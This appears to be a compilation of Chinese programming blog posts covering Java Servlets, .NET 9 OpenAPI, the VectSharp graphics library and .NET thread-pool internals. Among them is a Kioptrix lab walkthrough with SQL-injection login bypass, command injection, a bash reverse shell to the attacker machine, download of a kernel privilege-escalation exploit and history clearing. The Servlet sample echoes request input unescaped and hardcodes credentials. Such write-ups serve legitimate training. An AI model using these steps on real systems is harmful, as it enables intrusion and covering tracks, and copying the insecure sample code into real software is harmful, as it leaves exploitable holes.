wenmo8 发布的文章

一、Servlet简介与工作原理

Servlet是Java Web开发中的重要组件,它运行在服务器端,用于处理客户端的请求并返回响应。其工作原理涉及多个组件和步骤,从客户端发起请求到服务器端的处理和响应,整个过程有条不紊地进行。

(一)Servlet容器与Tomcat

Servlet容器是Servlet运行的环境,负责管理Servlet的生命周期、资源分配和请求处理等工作。Tomcat是常用的Servlet容器之一,它具有强大的功能和良好的性能。在Tomcat中,Context容器直接管理Servlet的包装类Wrapper,一个Context对应一个Web工程。例如,在Tomcat的配置文件中,可以通过
<Context>
标签来配置Web应用的相关参数,如路径、文档库等。

(二)Servlet的生命周期

  1. 加载和实例化
    • Servlet容器在启动时或首次检测到需要Servlet响应请求时,会加载Servlet类。它通过类加载器从本地文件系统、远程文件系统或网络服务中获取Servlet类。例如,在一个Web应用启动时,Tomcat会根据web.xml中的配置找到对应的Servlet类并加载它。
    • 容器使用Java反射API创建Servlet实例,调用默认构造方法(无参构造方法),因此编写Servlet类时不应提供带参数的构造方法。
  2. 初始化
    • 实例化后,容器调用Servlet的init()方法进行初始化。在这个方法中,Servlet可以进行一些准备工作,如建立数据库连接、获取配置信息等。例如,以下是一个简单的init()方法实现:
public void init(ServletConfig config) throws ServletException {
    super.init(config);
    // 在这里进行初始化操作,如获取初始化参数
    String paramValue = config.getInitParameter("paramName");
    // 其他初始化逻辑
}

  • 每个Servlet实例的init()方法只被调用一次,初始化期间可以使用ServletConfig对象获取web.xml中配置的初始化参数。如果发生错误,可抛出ServletException或UnavailableException异常通知容器。
  1. 请求处理
    • 容器调用Servlet的service()方法处理请求。在service()方法中,Servlet通过ServletRequest对象获取客户端信息和请求信息,处理后通过ServletResponse对象设置响应信息。例如,在一个处理登录请求的Servlet中:
protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // 获取用户名和密码
    String username = request.getParameter("username");
    String password = request.getParameter("password");
    // 进行登录验证等业务逻辑处理
    if (isValidUser(username, password)) {
        response.getWriter().println("登录成功");
    } else {
        response.getWriter().println("登录失败");
    }
}

  • 如果service()方法执行期间发生错误,可抛出ServletException或UnavailableException异常。若UnavailableException指示实例永久不可用,容器将调用destroy()方法释放实例。
  1. 服务终止
    • 当容器检测到Servlet实例应被移除时,调用destroy()方法释放资源,如关闭数据库连接、保存数据等。例如:
public void destroy() {
    // 释放资源的逻辑,如关闭数据库连接
    if (connection!= null) {
        try {
            connection.close();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
    super.destroy();
}

  • destroy()方法调用后,容器释放Servlet实例,由Java垃圾收集器回收。若再次需要该Servlet处理请求,容器会创建新的实例。

(三)Servlet的体系结构

Servlet规范基于几个关键类运转,其中ServletConfig、ServletRequest和ServletResponse与Servlet主动关联。ServletConfig在初始化时传递给Servlet,用于获取Servlet的配置属性;ServletRequest和ServletResponse在请求处理时传递给Servlet,分别用于获取请求信息和设置响应信息。

在Tomcat容器中,存在门面设计模式的应用。例如,StandardWrapper和StandardWrapperFacade实现了ServletConfig接口,传给Servlet的是StandardWrapperFacade对象,它能保证Servlet获取到所需数据而不暴露无关数据。同样,ServletContext也有类似结构,Servlet中获取的实际对象是ApplicationContextFacade,用于获取应用的相关信息。

二、Servlet的基本使用与配置

(一)创建Servlet类

创建Servlet类需要继承HttpServlet类并重写相应方法。例如,创建一个简单的HelloWorldServlet:

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class HelloWorldServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 设置响应内容类型为HTML
        response.setContentType("text/html");
        // 获取输出流对象
        PrintWriter out = response.getWriter();
        // 输出HTML内容
        out.println("<html><body>");
        out.println("<h1>Hello, World!</h1>");
        out.println("</body></html>");
    }
}

(二)在web.xml中配置Servlet

在web.xml文件中,需要配置Servlet的相关信息,包括名称、类名、初始化参数和映射路径等。以下是上述HelloWorldServlet的配置示例:

<servlet>
    <servlet-name>HelloWorldServlet</servlet-name>
    <servlet-class>com.example.HelloWorldServlet</servlet-class>
    <init-param>
        <param-name>greeting</param-name>
        <param-value>Hello!</param-value>
    </init-param>
</servlet>
<servlet-mapping>
    <servlet-name>HelloWorldServlet</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

(三)Servlet与JSP的关系

JSP本质上是Servlet的扩展,JSP页面在第一次被访问时会被翻译成Servlet并执行。在Tomcat中,通过JspServlet来处理JSP页面的翻译工作,其在conf/web.xml中有相应的配置,会拦截所有以.jsp或.jspx为后缀的请求并进行翻译。例如,一个简单的JSP页面:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<title>JSP Example</title>
</head>
<body>
    <%
    // 这里可以嵌入Java代码
    String message = "This is a JSP page.";
    %>
    <h1><%=message%></h1>
</body>
</html>

当访问该JSP页面时,Tomcat会将其翻译成对应的Servlet类并执行,最终将生成的HTML内容返回给客户端。

三、Servlet 3.0新特性详解

(一)异步处理支持

  1. 解决的问题
    • 在Servlet 3.0之前,Servlet线程在处理业务时一直处于阻塞状态,直到业务处理完毕才能输出响应并结束线程。这在业务处理耗时较长(如数据库操作、跨网络调用等)的情况下,会导致服务器资源占用过多,影响并发处理速度。
  2. 异步处理流程
    • Servlet接收到请求后,可先进行预处理,然后将请求转交给异步线程处理,自身返回容器。异步线程处理完业务后,可直接生成响应数据或转发请求给其他Servlet。例如:
@WebServlet(urlPatterns = "/asyncDemo", asyncSupported = true)
public class AsyncDemoServlet extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException, ServletException {
        resp.setContentType("text/html;charset=UTF-8");
        PrintWriter out = resp.getWriter();
        out.println("进入Servlet的时间:" + new Date() + ".");
        out.flush();

        // 启动异步处理
        AsyncContext ctx = req.startAsync();
        // 执行异步业务逻辑
        new Thread(new AsyncTask(ctx)).start();

        out.println("结束Servlet的时间:" + new Date() + ".");
        out.flush();
    }
}

class AsyncTask implements Runnable {
    private AsyncContext ctx;

    public AsyncTask(AsyncContext ctx) {
        this.ctx = ctx;
    }

    @Override
    public void run() {
        try {
            // 模拟耗时业务操作,这里等待5秒
            Thread.sleep(5000);
            PrintWriter out = ctx.getResponse().getWriter();
            out.println("业务处理完毕的时间:" + new Date() + ".");
            out.flush();
            ctx.complete();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

  1. 配置方式
    • 使用传统web.xml配置时,在
      <servlet>
      标签中添加
      <async-supported>true</async-supported>
      子标签。使用注解配置时,在
      @WebServlet

      @WebFilter
      注解中设置
      asyncSupported = true

(二)新增的注解支持

  1. 简化配置
    • Servlet 3.0新增了多个注解,用于简化Servlet、过滤器和监听器的声明,使web.xml部署描述文件不再是必选的。
  2. 常用注解介绍
    • @WebServlet
      :用于将类声明为Servlet,可配置名称、URL匹配模式、加载顺序、初始化参数、异步支持等属性。例如:
@WebServlet(urlPatterns = {"/demoServlet"}, asyncSupported = true, loadOnStartup = 1, name = "DemoServlet", displayName = "DS", initParams = {@WebInitParam(name = "param1", value = "value1")})
public class DemoServlet extends HttpServlet {...}

  • @WebFilter
    :用于声明过滤器,可配置过滤器名称、URL匹配模式、应用的Servlet、转发模式、初始化参数、异步支持等属性。例如:
@WebFilter(servletNames = {"DemoServlet"}, filterName = "DemoFilter")
public class DemoFilter implements Filter {...}

  • @WebListener
    :用于将类声明为监听器,被标注的类需实现至少一个相关接口,如ServletContextListener等。例如:
@WebListener("This is a demo listener")
public class SimpleListener implements ServletContextListener {...}

  • @MultipartConfig
    :辅助HttpServletRequest对上传文件的支持,标注在Servlet上,表示希望处理的请求的MIME类型是
    multipart/form-data
    ,并可配置文件大小阈值、存放地址、允许上传的最大值等属性。例如:
@MultipartConfig(fileSizeThreshold = 1024 * 1024, location = "/tmp/uploads", maxFileSize = 1024 * 1024 * 5, maxRequestSize = 1024 * 1024 * 10)
@WebServlet("/uploadServlet")
public class UploadServlet extends HttpServlet {...}

(三)可插性支持

  1. 功能扩充方式
    • 可插性支持允许在不修改已有Web应用的前提下,通过将按照一定格式打成的JAR包放到WEB-INF/lib目录下,实现新功能的扩充。
  2. web-fragment.xml文件
    • Servlet 3.0引入了web-fragment.xml部署描述文件,存放在JAR文件的META-INF目录下,可包含web.xml中能定义的内容。例如:
<?xml version="1.0" encoding="UTF-8"?>
<web-fragment xmlns="http://java.sun.com/xml/ns/javaee"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="3.0"
               xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-fragment_3.0.xsd"
               metadata-complete="true">
    <servlet>
        <servlet-name>FragmentServlet</servlet-name>
        <servlet-class>com.example.FragmentServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FragmentServlet</servlet-name>
        <url-pattern>/fragment</url-pattern>
    </servlet-mapping>
</web-fragment>

  1. 加载顺序规则
    • web-fragment.xml包含
      <name>

      <ordering>
      两个可选顶层标签,用于指定加载顺序。
      <name>
      标识文件,
      <ordering>
      通过
      <after>

      <before>
      子标签指定与其他文件的相对位置关系,还可使用
      <others/>
      表示除自身外的其他文件,其优先级低于明确指定的相对位置关系。

(四)ServletContext的性能增强

  1. 动态部署与配置
    • ServletContext对象在Servlet 3.0中支持在运行时动态部署Servlet、过滤器、监听器,以及为Servlet和过滤器增加URL映射等。例如,动态添加Servlet:
ServletContext context = getServletContext();
ServletRegistration.Dynamic dynamicServlet = context.addServlet("DynamicServlet", DynamicServlet.class);
dynamicServlet.addMapping("/dynamic");
dynamicServlet.setLoadOnStartup(2);

  1. 与相关接口和类的配合
    • 这些动态配置方法通常在ServletContextListener的
      contextInitialized
      方法或ServletContainerInitializer的
      onStartup()
      方法中调用。ServletContainerInitializer是Servlet 3.0新增接口,容器启动时使用JAR服务API发现其实现类,并将WEB-INF/lib目录下JAR包中的类交给
      onStartup()
      方法处理,通常需使用
      @HandlesTypes
      注解指定处理的类。

(五)HttpServletRequest对文件上传的支持

  1. 简化文件上传操作
    • Servlet 3.0之前,处理上传文件需使用第三方框架,而现在HttpServletRequest提供了
      getPart()

      getParts()
      方法用于从请求中解析上传文件,每个文件用
      javax.servlet.http.Part
      对象表示,该接口提供了处理文件的简易方法,如
      write()

      delete()
      等。例如:
@WebServlet("/upload")
@MultipartConfig
public class FileUploadServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        Part filePart = request.getPart("file");
        if (filePart!= null) {
            filePart.write("/tmp/uploadedFile.txt");
            response.getWriter().println("文件上传成功");
        } else {
            response.getWriter().println("没有选择文件上传");
        }
    }
}

  1. 配置与注意事项
    • 需配合
      @MultipartConfig
      注解对上传操作进行自定义配置,如限制文件大小和保存路径等。注意,如果请求的MIME类型不是
      multipart/form-data
      ,使用上述方法会抛出异常。

四、Servlet在实际应用中的场景与案例分析

(一)在Web应用中的常见应用场景

  1. 处理用户请求与业务逻辑
    • Servlet可接收用户在浏览器中输入的URL请求,根据请求参数进行业务逻辑处理,如登录验证、数据查询与更新等。例如,在一个电商网站中,用户登录时,LoginServlet接收用户名和密码,与数据库中的用户信息进行比对,验证用户身份。
  2. 生成动态页面内容
    • 通过获取数据库数据或其他业务逻辑处理结果,Servlet可以动态生成HTML、XML等格式的页面内容返回给客户端。比如,一个新闻网站的NewsServlet根据用户请求的新闻类别,从数据库中查询相关新闻数据,然后生成包含新闻列表的HTML页面返回给用户。

(二)案例分析:使用Servlet实现简单的用户登录系统

  1. 功能需求
    • 用户在登录页面输入用户名和密码,点击登录按钮后,请求发送到服务器端的LoginServlet。LoginServlet验证用户名和密码是否正确,如果正确,跳转到欢迎页面;如果错误,返回错误提示信息到登录页面。
  2. 代码实现
    • 登录页面(login.jsp)
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body>
    <h1>Login</h1>
    <form action="login" method="post">
        <label for="username">Username:</label><input type="text" id="username" name="username"><br>
        <label for="password">Password:</label><input type="password" id="password" name="password"><br>
        <input type="submit" value="Login">
    </form>
</body>
</html>

  • LoginServlet.java
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class LoginServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 设置响应内容类型为HTML
        response.setContentType("text/html");
        // 获取输出流对象
        PrintWriter out = response.getWriter();

        // 获取用户名和密码
        String username = request.getParameter("username");
        String password = request.getParameter("password");

        // 假设这里进行简单的用户名和密码验证,实际应用中应与数据库比对
        if ("admin".equals(username) && "123456".equals(password)) {
            // 登录成功,跳转到欢迎页面
            response.sendRedirect("welcome.jsp");
        } else {
            // 登录失败,返回错误提示
            out.println("<html><body>");
            out.println("<h1>Login Failed</h1>");
            out.println("<p>Invalid username or password.</p>");
            out.println("</body></html>");
        }
    }
}

  • web.xml配置
<servlet>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>com.example.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/login</url-pattern>
</servlet-mapping>

  • 欢迎页面(welcome.jsp)
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
</head>
<body>
    <h1>Welcome, <%= request.getParameter("username") %>!</h1>
</body>
</html>

通过这个案例,可以看到Servlet在处理用户请求、验证用户身份以及控制页面跳转等方面的实际应用,它是构建Java Web应用的重要基础组件,在实际开发中还有更多复杂和高级的应用场景等待开发者去探索和实践。

五、总结与展望

Servlet作为Java Web开发的核心技术之一,在服务器端处理请求和生成响应方面有着不可替代的作用。从其基本的工作原理、生命周期到配置使用,再到Servlet 3.0带来的一系列新特性,都为Java Web开发提供了更强大、更灵活的工具。在实际应用中,它广泛应用于各种Web系统的构建,从简单的网站到复杂的企业级应用。随着技术的不断发展,Servlet也在不断演进,未来可能会在性能优化、与新兴技术的融合等方面有更多的突破,开发者需要持续关注其发展动态,以便更好地利用Servlet构建高效、稳定的Web应用。
作者:
代老师的编程课
出处:
https://zthinker.com/
如果你喜欢本文,请长按二维码,关注
Java码界探秘
.
代老师的编程课

在 .NET 9 的更新中,微软增强了原生 OpenAPI。这一变化表明 .NET 正在更加拥抱开放标准,同时让开发者体验更加轻松高效。本文将探讨为何进行这一更改、OpenAPI 的优势,以及如何在 .NET 9 中使用 OpenAPI。


为什么不再内置 Swagger?

1.
标准化的需求

Swagger 是 OpenAPI 规范的早期实现,虽然功能强大,但它逐渐被视为工具集的一部分,而非行业标准。转向原生 OpenAPI 支持意味着 .NET 正式采用更具广泛认可的标准,从而提升与其他生态工具的兼容性。

2.
简化依赖关系

移除对 Swagger-specific 组件的依赖,使框架更简洁并降低复杂性。开发者可以直接依赖 OpenAPI 规范,而不是被局限在 Swagger 工具集内。

3.
灵活性与互操作性

OpenAPI 作为开放标准,被广泛支持于各类工具和平台(如 Postman、API 网关、自动化测试工具等)。这使得 .NET 应用程序更容易集成到多样化的技术栈中。


如何在 .NET 9 中使用 OpenAPI?

.NET 9 提供了对 OpenAPI 的原生支持,通过简单的配置即可生成 OpenAPI 文档并集成可视化工具,如 Swagger UI 和 Scalar API Reference。

以下是配置步骤:

1.
添加必要的服务


Program.cs
文件中,调用
AddOpenApi
方法注册 OpenAPI 支持。

2.
映射 OpenAPI 文档

使用
MapOpenApi
映射 OpenAPI 文档路径,便于开发和测试。

3.
集成可视化工具

通过
UseSwaggerUI

MapScalarApiReference
添加交互式文档界面。

  • UseSwaggerUI
    需要安装
    Swashbuckle.AspNetCore.SwaggerUi
    包。
    dotnet add package Swashbuckle.AspNetCore.SwaggerUi
  • MapScalarApiReference
    需要安装
    Scalar.AspNetCore
    包。
    dotnet add package Scalar.AspNetCore


示例代码

以下代码展示了如何在 .NET 9 中配置和使用 OpenAPI:

using Scalar.AspNetCore;

namespace WebApplication2
{
    public class Program
    {
        public static void Main(string[] args)
        {
            var builder = WebApplication.CreateBuilder(args);

            // 注册控制器和 OpenAPI 服务
            builder.Services.AddControllers();
            builder.Services.AddOpenApi();

            var app = builder.Build();

            // 开发环境中启用 OpenAPI 文档和可视化工具
            if (app.Environment.IsDevelopment())
            {
                app.MapOpenApi(); // 映射 OpenAPI 文档路径
                app.UseSwaggerUI(options =>
                {
                    options.SwaggerEndpoint("/openapi/v1.json", "v1"); // 设置文档路径
                });
                app.MapScalarApiReference(); // 映射其他参考路径
            }

            app.UseAuthorization();

            // 映射控制器
            app.MapControllers();

            app.Run();
        }
    }
}


示例解析

  1. 服务注册

    builder.Services.AddOpenApi();
    

    此行代码启用了 OpenAPI 支持。

  2. 映射文档

    app.MapOpenApi();
    

    这将 OpenAPI 文档映射到默认路径
    /openapi/v1.json

  3. 增加文档可视化

    app.UseSwaggerUI(options =>
    {
       options.SwaggerEndpoint("/openapi/v1.json", "v1");
    });
    app.MapScalarApiReference();  
    

    这将增加swagger和scalar两种可视化工具。

  4. 访问可视化工具


    • SwaggerUI
      需要访问/swagger。

    • Scalar 需要访问/scalar/v1。


    这两个工具都可以用于可视化 OpenAPI 文档,提供交互式界面以测试 API。


总结

.NET 9 中移除内置 Swagger,增加 OpenAPI 支持,是一个符合行业趋势的重要改进。这一变化不仅提升了开发体验,也使得 .NET 应用能够更高效地与其他工具和平台协作。

通过 OpenAPI 的原生支持和灵活的可视化工具选择,开发者可以更轻松地生成文档、测试接口和集成服务。使用示例代码,立即开始在 .NET 9 中体验 OpenAPI 的强大功能吧!

推荐一个轻量级矢量图形库,可用于生成 PDF、SVG、PNG等。

01 项目简介

VectSharp 是一个功能强大的 C# 库,专门用于创建矢量图形,包括文本,不依赖任何第三方,支持跨平台运行,包括 Mac、Windows 和 Linux。使得开发者可以更容易地在他们的项目中集成矢量图形的生成和处理。

02 项目特点

内置字体:
包含了 14 种标准字体,这些字体最初是在 ASL-2.0(Apache Software License 2.0)许可下发布的。

多种格式:
提供了一个抽象层,允许开发者编写不同的输出层来生成不同类型的图形文件。目前支持的输出层包括 PDF、SVG、PNG 以及使用 Avalonia UI 库的 Canvas 对象。

光栅图像支持:
VectSharp.Raster 能够将矢量图形渲染为 PNG 格式的光栅图像,而 VectSharp.Raster.ImageSharp 则支持多种格式的光栅图像生成。

3D 图形:
VectSharp.ThreeD 为库增加了三维矢量和光栅图形的支持。

图表绘制:
VectSharp.Plots 包提供了一系列工具来绘制不同类型的图表,如散点图、折线图、条形图等。

Markdown 支持:
VectSharp.Markdown 允许将 Markdown 文档转换为矢量图形对象,进而可以导出为 PDF、SVG 或在 Avalonia Canvas 中显示。

图像处理工具:
VectSharp 提供了 VectSharp.MuPDFUtils 和 VectSharp.ImageSharpUtils 两个工具集,分别使用 MuPDFCore 和 SixLabors.ImageSharp 库来处理图像,以适应不同的需求和许可要求。

动画制作:
VectSharp 的基础包中包含了一个动画类,可以创建并保存为动画 GIF、SVG 或 PNG 格式的动画。

03 使用方法

示例代码

using VectSharp;
using VectSharp.PDF;
using VectSharp.SVG;

// 创建一个新的文档对象
Document document = new Document();

// 创建一个新的页面对象,指定页面的宽度和高度为 1000 单位
Page page = new Page(1000, 1000);

// 将创建的页面添加到文档的页面集合中
document.Pages.Add(page);

// 绘制一个填充的矩形,使用灰色,设置一个标签
page.Graphics.FillRectangle(100, 100, 800, 50, Colour.FromRgb(128, 128, 128), tag: "linkToGitHub");

// 绘制第二个填充的矩形,使用红色,并设置一个标签
page.Graphics.FillRectangle(100, 300, 800, 50, Colour.FromRgb(255, 0, 0), tag: "linkToBlueRectangle");

// 绘制第三个填充的矩形,使用蓝色,并设置一个标签
page.Graphics.FillRectangle(100, 850, 800, 50, Colour.FromRgb(0, 0, 255), tag: "blueRectangle");

//绘制文字
page.Graphics.FillText(250, 250, "示例", new Font(VectSharp.FontFamily.ResolveFontFamily(VectSharp.FontFamily.StandardFontFamilies.TimesRoman), 80), Colour.FromRgb(0, 0, 0));

// 创建一个字典,用于存储标签和链接 URL 的映射关系
Dictionary<string, string> links = new Dictionary<string, string>() {
    // 添加一个标签到 URL 的映射
    { "linkToGitHub", "https://github.com/&#34;" },
    // 添加另一个标签到页面内锚点的映射
    { "linkToBlueRectangle", "#blueRectangle" }
};

// 将页面导出为 SVG 文件
page.SaveAsSVG(@"Links.svg", linkDestinations: links);

// 将整个文档导出为 PDF 文件
document.SaveAsPDF(@"Links.pdf", linkDestinations: links);

效果

图片

04 项目地址

https://github.com/arklumpus/VectSharp

更多开源项目:
https://github.com/bianchenglequ/NetCodeTop

- End -

推荐阅读

.NET日志库:Serilog、NLog、Log4Net等十大开源日志库大盘点!

ImageSharp:高性能跨平台.NET开源图形库

DateTimeExtensions:一个轻量C#的开源DateTime扩展方法库

一个C#开源工具库,集成了超过1000个扩展方法

Plotly.NET:一个强大的、漂亮的.NET开源交互式图表库

声明!
文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!

工具链接:
https://pan.quark.cn/s/530656ba5503

一、准备阶段

复现请将靶机ip换成自己的

kali: 192.168.108.130

靶机:192.168.108.136

1. 找出ip端口和服务信息

扫出ip

nmap -sn 192.168.108.0/24

扫出端口

nmap -p 1-65535 192.168.108.136

一般扫描出端口后,尝试去访问web页面,但是只有一个登录界面

端口对应服务信息

nmap -sV 192.168.108.136

服务信息

22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)

可利用信息

OpenSSH 3.9p1

Apache httpd 2.0.52

MySQL (unauthorized)

CUPS 1.1

2. 目录扫描

dirb http://192.168.108.136/

可以看到扫出很多目录,但都是在
http://192.168.108.136/manual
这个大目录下

访问此目录
http://192.168.108.136/manual
,寻找可能利用的信息

3. 漏洞扫描

nmap扫描漏洞

nmap 192.168.108.136 -p 22,80,111,443,631,3306 -oA --script=vuln

会有很多漏洞

searchsploit查找漏洞

searchsploit Apache httpd 2.0.52
searchsploit OpenSSH 3.9p1
searchsploit MySQL (unauthorized)
searchsploit CUPS 1.1

二、获取权限

1. 访问web服务

结合开放的
mysql3306
端口,可以尝试sql注入攻击,
输入万能密码尝试

出现以下界面

可以看到是要进行ping命令,但是没有ping的框架,
查看源代码发现以下信息

发现登录框被闭合了

方法1

打开burpsuite抓包,在拦截设置,选择拦截响应包

点击此处,然后关闭拦截即可


删除' 然后放包

此时就可以进行ping了

方法2

找到需要插入的地方,右键
编辑html
将代码复制到这里,并将
align='center>
修改
align="center">

可以看到也是可以的

2. ping命令

在ping之前先了解一下url中的的一些符号

;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)

ping靶机

输入以下命令

192.168.108.136;ls

发现成功回显,并且经过测试,并不存在过滤的情况

3. 反弹shell

这里我们使用bash反弹

开启监听端口,端口选用kali空闲端口即可

nc -lvvp 4444

执行以下代码

127.0.0.1;bash -i >& /dev/tcp/192.168.108.130/4444 0>&1
/dev/tcp/你的kali的ip/开启的端口

可以看到反弹成功

三、提权

查询版本信息

uname -a
lsb_release -a

信息如下

Linux kioptrix.level2 2.6.9-55.EL
Distributor ID: CentOS
Description:    CentOS release 4.5 (Final)
Release:        4.5

可以知道是
centos4.5
版本,查找该版本漏洞

找到漏洞利用脚本

利用searchsploit命令下载脚本,这里可以看我之前总结的命令使用详情
searchsploit命令大全

searchsploit centos 4.5 -m 9542.c  

下载成功

开启web服务

sudo python -m http.server 80

成功上传

在目标主机上下载脚本

cd /tmp
wget http://192.168.108.130:80/9542.c

下载成功

编译脚本

gcc 9542.c
chamod 777 a.out
./a.out

提权成功

可以看到是有命令记录的,为了更严谨,最后每次复现完,退出的时候清除历史命令

history -c

一:背景

1. 讲故事

上一篇我们用
Thread.Sleep
的方式演示了线程池饥饿场景下的动态线程注入,可以观察到大概 1s 产生
1~2
个新线程,很显然这样的增长速度扛不住上游请求对线程池的DDOS攻击,导致线程池队列越来越大,但C#团队这么优秀,能优化的地方绝对会给大家尽可能的优化,比如这篇我们聊到的
Task.Result
场景下的注入。

二:Task.Result 角度下的动态注入

1. 测试代码

为了直观的体会到优化效果,先上一段测试代码观察一下。


        static void Main(string[] args)
        {
            for (int i = 0; i < 10000; i++)
            {
                ThreadPool.QueueUserWorkItem((idx) =>
                {
                    Console.WriteLine($"{DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss:fff")} -> {idx}: 这是耗时任务");

                    try
                    {
                        var client = new HttpClient();
                        var content = client.GetStringAsync("https://youtube.com").Result;
                        Console.WriteLine(content.Length);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }, i);
            }

            Console.ReadLine();
        }

从卦象上来看大概1s产生4个新线程,再仔细看的话大概是250ms一个,虽然250不大好听,但不管怎么说确实比
Thread.Sleep
场景下只产生
1~2
个线程要快了好几倍,以终为始,我们再反向的看下这个优化的底层逻辑在哪?

2. 底层逻辑在哪里

还是那句话,千言万语不抵一张图,流程图大概如下:

接下来解释下其中的几个元素。

  1. NotifyThreadBlocked

这是主动通知 GateThread 线程赶紧醒来,通过上一篇的知识大家应该知道 GateThread 会500ms一次被动唤醒,但为了提速不可能再这么干了,需要让人强制唤醒它,修剪后的源码如下:


    private bool SpinThenBlockingWait(int millisecondsTimeout, CancellationToken cancellationToken)
    {
        var mres = new SetOnInvokeMres();

        AddCompletionAction(mres, addBeforeOthers: true);

        bool notifyWhenUnblocked = ThreadPool.NotifyThreadBlocked();

        var returnValue = mres.Wait((int)(millisecondsTimeout - elapsedTimeTicks), cancellationToken);

        return returnValue;
    }

    public bool NotifyThreadBlocked()
    {
        GateThread.Wake(this);

        return true;
    }

    public static void Wake(PortableThreadPool threadPoolInstance)
    {
        DelayEvent.Set();
    }

卦中的
DelayEvent.Set();
正是强制唤醒 GateThread 的 event 事件。

  1. HasBlockingAdjustmentDelayElapsed

GateThread 是注入线程的官方通道,那到底要不要注入线程呢?肯定少不了一些判断,其中一个判断就是当前的延迟周期是否超过了 250ms,这个250ms的阈值最终由
BlockingConfig.MaxDelayMs
变量指定,这是能否调用
CreateWorkerThread
方法需要闯的一个关口,参考代码如下:


        private static class BlockingConfig
        {
            MaxDelayMs =(uint) AppContextConfigHelper.GetInt32Config(
                        "System.Threading.ThreadPool.Blocking.MaxDelayMs",
                            250,
                            false);
        }

        private static void GateThreadStart()
        {
            while (true)
            {
                bool wasSignaledToWake = DelayEvent.WaitOne((int)delayHelper.GetNextDelay(currentTimeMs));
                currentTimeMs = Environment.TickCount;

                do
                {
                    previousDelayElapsed = delayHelper.HasBlockingAdjustmentDelayElapsed(currentTimeMs, wasSignaledToWake);
                    if (pendingBlockingAdjustment == PendingBlockingAdjustment.WithDelayIfNecessary && !previousDelayElapsed)
                    {
                        break;
                    }

                    uint nextDelayMs = threadPoolInstance.PerformBlockingAdjustment(previousDelayElapsed);

                } while (false);
            }
        }

        public bool HasBlockingAdjustmentDelayElapsed(int currentTimeMs, bool wasSignaledToWake)
        {
            if (!wasSignaledToWake && _adjustForBlockingAfterNextDelay)
            {
                return true;
            }

            uint elapsedMsSincePreviousBlockingAdjustmentDelay = (uint)(currentTimeMs - _previousBlockingAdjustmentDelayStartTimeMs);
            return elapsedMsSincePreviousBlockingAdjustmentDelay >= _previousBlockingAdjustmentDelayMs;
        }

从上面的代码可以看到一旦
previousDelayElapsed =false
就直接 break 了,不再调用
PerformBlockingAdjustment
方法来闯第二个关口。

  1. PerformBlockingAdjustment

一旦满足了250ms阈值之后,接下来就需要观察ThreadPool当前的负载能力,由内部的
ThreadCounts
提供支持,比如 NumProcessingWork 表示当前线程池正在处理的任务数, NumThreadsGoal 表示线程不要超过此上限值,如果超过了就进入动态注入阶段,参考代码如下:


    private struct ThreadCounts
    {
        public short NumProcessingWork;
        public short NumExistingThreads;
        public short NumThreadsGoal;
    }

有了这个基础之后,接下来再上一段注入线程需要满足的第二个关口。


        private static void GateThreadStart()
        {
            uint nextDelayMs = threadPoolInstance.PerformBlockingAdjustment(previousDelayElapsed);
        }

        private uint PerformBlockingAdjustment(bool previousDelayElapsed)
        {
            var nextDelayMs = PerformBlockingAdjustment(previousDelayElapsed, out addWorker);

            if (addWorker)
            {
                WorkerThread.MaybeAddWorkingWorker(this);
            }
            return nextDelayMs;
        }

        private uint PerformBlockingAdjustment(bool previousDelayElapsed, out bool addWorker)
        {
            if (counts.NumProcessingWork >= numThreadsGoal && _separated.numRequestedWorkers > 0)
            {
                addWorker = true;
            }
        }

从卦中代码可以看到,一旦线程池中
处理的任务数 >= 线程上限值
,这就表示当前线程池正在满负荷的跑,
numRequestedWorkers>0
表示有新任务来了需要线程来处理,所以这两组条件一旦满足,就必须要创建新线程。

3. 如何眼见为实

刚才啰嗦了那么多,那如何眼见为实呢?非常简单,还是用 dnspy 的断点日志功能观察,我们下三个断点。

  1. 第一个条件 HasBlockingAdjustmentDelayElapsed 处增加
